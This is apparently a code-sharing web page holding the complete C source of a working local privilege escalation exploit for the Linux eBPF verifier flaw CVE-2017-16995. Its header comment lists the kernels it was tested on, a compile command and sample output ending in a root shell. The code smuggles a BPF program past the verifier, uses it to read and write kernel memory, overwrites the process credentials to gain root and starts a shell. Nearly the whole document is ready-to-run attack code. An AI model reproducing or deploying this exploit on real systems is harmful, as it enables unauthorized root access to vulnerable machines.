扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 |
/* Credit @bleidl, this is a slight modification to his original POC https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c For details on how the exploit works, please visit https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html Tested on Ubuntu 16.04 with the following Kernels 4.4.0-31-generic 4.4.0-62-generic 4.4.0-81-generic 4.4.0-116-generic 4.8.0-58-generic 4.10.0.42-generic 4.13.0-21-generic Tested on Fedora 27 4.13.9-300 gcc cve-2017-16995.c -o cve-2017-16995 internet@client:~/cve-2017-16995$ ./cve-2017-16995 [.] [.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t) [.] [.] ** This vulnerability cannot be exploited at all on authentic grsecurity kernel ** [.] [*] creating bpf map [*] sneaking evil bpf past the verifier [*] creating socketpair() [*] attaching bpf backdoor to socket [*] skbuff => ffff880038c3f500 [*] Leaking sock struct from ffff88003af5e180 [*] Sock->sk_rcvtimeo at offset 472 [*] Cred structure at ffff880038704600 [*] UID from cred structure: 1000, matches the current: 1000 [*] hammering cred structure at ffff880038704600 [*] credentials patched, launching shell... #id uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1000(internet) */ #include <errno.h> #include <fcntl.h> #include <stdarg.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <linux/bpf.h> #include <linux/unistd.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/un.h> #include <sys/stat.h> #include <sys/personality.h> char buffer[64]; int sockets[2]; int mapfd, progfd; int doredact = 0; #define LOG_BUF_SIZE 65536 #define PHYS_OFFSET 0xffff880000000000 char bpf_log_buf[LOG_BUF_SIZE]; static __u64 ptr_to_u64(void *ptr) { return (__u64) (unsigned long) ptr; } int bpf_prog_load(enum bpf_prog_type prog_type, const struct bpf_insn *insns, int prog_len, const char *license, int kern_version) { union bpf_attr attr = { .prog_type = prog_type, .insns = ptr_to_u64((void *) insns), .insn_cnt = prog_len / sizeof(struct bpf_insn), .license = ptr_to_u64((void *) license), .log_buf = ptr_to_u64(bpf_log_buf), .log_size = LOG_BUF_SIZE, .log_level = 1, }; attr.kern_version = kern_version; bpf_log_buf[0] = 0; return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)); } int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size, int max_entries, int map_flags) { union bpf_attr attr = { .map_type = map_type, .key_size = key_size, .value_size = value_size, .max_entries = max_entries }; return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr)); } int bpf_update_elem(int fd, void *key, void *value, unsigned long long flags) { union bpf_attr attr = { .map_fd = fd, .key = ptr_to_u64(key), .value = ptr_to_u64(value), .flags = flags, }; return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr)); } int bpf_lookup_elem(int fd, void *key, void *value) { union bpf_attr attr = { .map_fd = fd, .key = ptr_to_u64(key), .value = ptr_to_u64(value), }; return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr)); } #define BPF_ALU64_IMM(OP, DST, IMM) \ ((struct bpf_insn) { \ .code= BPF_ALU64 | BPF_OP(OP) | BPF_K, \ .dst_reg = DST, \ .src_reg = 0, \ .off = 0, \ .imm = IMM }) #define BPF_MOV64_REG(DST, SRC) \ ((struct bpf_insn) { \ .code= BPF_ALU64 | BPF_MOV | BPF_X, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = 0, \ .imm = 0 }) #define BPF_MOV32_REG(DST, SRC) \ ((struct bpf_insn) { \ .code= BPF_ALU | BPF_MOV | BPF_X, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = 0, \ .imm = 0 }) #define BPF_MOV64_IMM(DST, IMM) \ ((struct bpf_insn) { \ .code= BPF_ALU64 | BPF_MOV | BPF_K, \ .dst_reg = DST, \ .src_reg = 0, \ .off = 0, \ .imm = IMM }) #define BPF_MOV32_IMM(DST, IMM) \ ((struct bpf_insn) { \ .code= BPF_ALU | BPF_MOV | BPF_K, \ .dst_reg = DST, \ .src_reg = 0, \ .off = 0, \ .imm = IMM }) #define BPF_LD_IMM64(DST, IMM) \ BPF_LD_IMM64_RAW(DST, 0, IMM) #define BPF_LD_IMM64_RAW(DST, SRC, IMM) \ ((struct bpf_insn) { \ .code= BPF_LD | BPF_DW | BPF_IMM, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = 0, \ .imm = (__u32) (IMM) }), \ ((struct bpf_insn) { \ .code= 0, \ .dst_reg = 0, \ .src_reg = 0, \ .off = 0, \ .imm = ((__u64) (IMM)) >> 32 }) #ifndef BPF_PSEUDO_MAP_FD # define BPF_PSEUDO_MAP_FD 1 #endif #define BPF_LD_MAP_FD(DST, MAP_FD) \ BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD) #define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \ ((struct bpf_insn) { \ .code= BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = OFF, \ .imm = 0 }) #define BPF_STX_MEM(SIZE, DST, SRC, OFF) \ ((struct bpf_insn) { \ .code= BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = OFF, \ .imm = 0 }) #define BPF_ST_MEM(SIZE, DST, OFF, IMM) \ ((struct bpf_insn) { \ .code= BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \ .dst_reg = DST, \ .src_reg = 0, \ .off = OFF, \ .imm = IMM }) #define BPF_JMP_IMM(OP, DST, IMM, OFF) \ ((struct bpf_insn) { \ .code= BPF_JMP | BPF_OP(OP) | BPF_K, \ .dst_reg = DST, \ .src_reg = 0, \ .off = OFF, \ .imm = IMM }) #define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \ ((struct bpf_insn) { \ .code= CODE, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = OFF, \ .imm = IMM }) #define BPF_EXIT_INSN() \ ((struct bpf_insn) { \ .code= BPF_JMP | BPF_EXIT, \ .dst_reg = 0, \ .src_reg = 0, \ .off = 0, \ .imm = 0 }) #define BPF_DISABLE_VERIFIER() \ BPF_MOV32_IMM(BPF_REG_2, 0xFFFFFFFF), /* r2 = (u32)0xFFFFFFFF */ \ BPF_JMP_IMM(BPF_JNE, BPF_REG_2, 0xFFFFFFFF, 2), /* if (r2 == -1) {*/ \ BPF_MOV64_IMM(BPF_REG_0, 0),/* exit(0); */ \ BPF_EXIT_INSN() /* }*/ \ #define BPF_MAP_GET(idx, dst)\ BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),/* r1 = r9*/ \ BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp*/ \ BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),/* r2 = fp - 4*/ \ BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), /* *(u32 *)(fp - 4) = idx */ \ BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \ BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),/* if (r0 == 0) */ \ BPF_EXIT_INSN(),/* exit(0); */ \ BPF_LDX_MEM(BPF_DW, (dst), BPF_REG_0, 0)/* r_dst = *(u64 *)(r0) */ static int load_prog() { struct bpf_insn prog[] = { BPF_DISABLE_VERIFIER(), BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_1, -16), /* *(fp - 16) = r1 */ BPF_LD_MAP_FD(BPF_REG_9, mapfd), BPF_MAP_GET(0, BPF_REG_6), /* r6 = op */ BPF_MAP_GET(1, BPF_REG_7), /* r7 = address*/ BPF_MAP_GET(2, BPF_REG_8), /* r8 = value*/ /* store map slot address in r2 */ BPF_MOV64_REG(BPF_REG_2, BPF_REG_0), /* r2 = r0 */ BPF_MOV64_IMM(BPF_REG_0, 0), /* r0 = 0for exit(0) */ BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 2), /* if (op == 0)*/ /* get fp */ BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0), BPF_EXIT_INSN(), BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 1, 3), /* else if (op == 1) */ /* get skbuff */ BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_10, -16), BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0), BPF_EXIT_INSN(), BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 2, 3), /* else if (op == 2) */ /* read */ BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0), BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0), BPF_EXIT_INSN(), /* else*/ /* write */ BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0), BPF_EXIT_INSN(), }; return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog), "GPL", 0); } void info(const char *fmt, ...) { va_list args; va_start(args, fmt); fprintf(stdout, "[.] "); vfprintf(stdout, fmt, args); va_end(args); } void msg(const char *fmt, ...) { va_list args; va_start(args, fmt); fprintf(stdout, "[*] "); vfprintf(stdout, fmt, args); va_end(args); } void redact(const char *fmt, ...) { va_list args; va_start(args, fmt); if(doredact) { fprintf(stdout, "[!] ( ( R E D A C T E D ) )\n"); return; } fprintf(stdout, "[*] "); vfprintf(stdout, fmt, args); va_end(args); } void fail(const char *fmt, ...) { va_list args; va_start(args, fmt); fprintf(stdout, "[!] "); vfprintf(stdout, fmt, args); va_end(args); exit(1); } void initialize() { info("\n"); info("t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)\n"); info("\n"); info("** This vulnerability cannot be exploited at all on authentic grsecurity kernel **\n"); info("\n"); redact("creating bpf map\n"); mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3, 0); if (mapfd < 0) { fail("failed to create bpf map: '%s'\n", strerror(errno)); } redact("sneaking evil bpf past the verifier\n"); progfd = load_prog(); if (progfd < 0) { if (errno == EACCES) { msg("log:\n%s", bpf_log_buf); } fail("failed to load prog '%s'\n", strerror(errno)); } redact("creating socketpair()\n"); if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) { fail("failed to create socket pair '%s'\n", strerror(errno)); } redact("attaching bpf backdoor to socket\n"); if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) { fail("setsockopt '%s'\n", strerror(errno)); } } static void writemsg() { ssize_t n = write(sockets[0], buffer, sizeof(buffer)); if (n < 0) { perror("write"); return; } if (n != sizeof(buffer)) { fprintf(stderr, "short write: %zd\n", n); } } static void update_elem(int key, unsigned long value) { if (bpf_update_elem(mapfd, &key, &value, 0)) { fail("bpf_update_elem failed '%s'\n", strerror(errno)); } } static unsigned long get_value(int key) { unsigned long value; if (bpf_lookup_elem(mapfd, &key, &value)) { fail("bpf_lookup_elem failed '%s'\n", strerror(errno)); } return value; } static unsigned long sendcmd(unsigned long op, unsigned long addr, unsigned long value) { update_elem(0, op); update_elem(1, addr); update_elem(2, value); writemsg(); return get_value(2); } unsigned long get_skbuff() { return sendcmd(1, 0, 0); } unsigned long get_fp() { return sendcmd(0, 0, 0); } unsigned long read64(unsigned long addr) { return sendcmd(2, addr, 0); } void write64(unsigned long addr, unsigned long val) { (void)sendcmd(3, addr, val); } static unsigned long find_cred() { uid_t uid = getuid(); unsigned long skbuff = get_skbuff(); /* * struct sk_buff { * [...24 byte offset...] * struct sock *sk; * }; * */ unsigned long sock_addr = read64(skbuff + 24); msg("skbuff => %llx\n", skbuff); msg("Leaking sock struct from %llx\n", sock_addr); if(sock_addr < PHYS_OFFSET){ fail("Failed to find Sock address from sk_buff.\n"); } /* * scan forward for expected sk_rcvtimeo value. * * struct sock { *[...] *const struct cred*sk_peer_cred; *longsk_rcvtimeo; *}; */ for (int i = 0; i < 100; i++, sock_addr += 8) { if(read64(sock_addr) == 0x7FFFFFFFFFFFFFFF) { unsigned long cred_struct = read64(sock_addr - 8); if(cred_struct < PHYS_OFFSET) { continue; } unsigned long test_uid = (read64(cred_struct + 8) & 0xFFFFFFFF); if(test_uid != uid) { continue; } msg("Sock->sk_rcvtimeo at offset %d\n", i * 8); msg("Cred structure at %llx\n", cred_struct); msg("UID from cred structure: %d, matches the current: %d\n", test_uid, uid); return cred_struct; } } fail("failed to find sk_rcvtimeo.\n"); } static void hammer_cred(unsigned long addr) { msg("hammering cred structure at %llx\n", addr); #define w64(w) { write64(addr, (w)); addr += 8; } unsigned long val = read64(addr) & 0xFFFFFFFFUL; w64(val); w64(0); w64(0); w64(0); w64(0); w64(0xFFFFFFFFFFFFFFFF); w64(0xFFFFFFFFFFFFFFFF); w64(0xFFFFFFFFFFFFFFFF); #undef w64 } int main(int argc, char **argv) { initialize(); hammer_cred(find_cred()); msg("credentials patched, launching shell...\n"); if(execl("/bin/sh", "/bin/sh", NULL)) { fail("exec %s\n", strerror(errno)); } } |
体验盒子
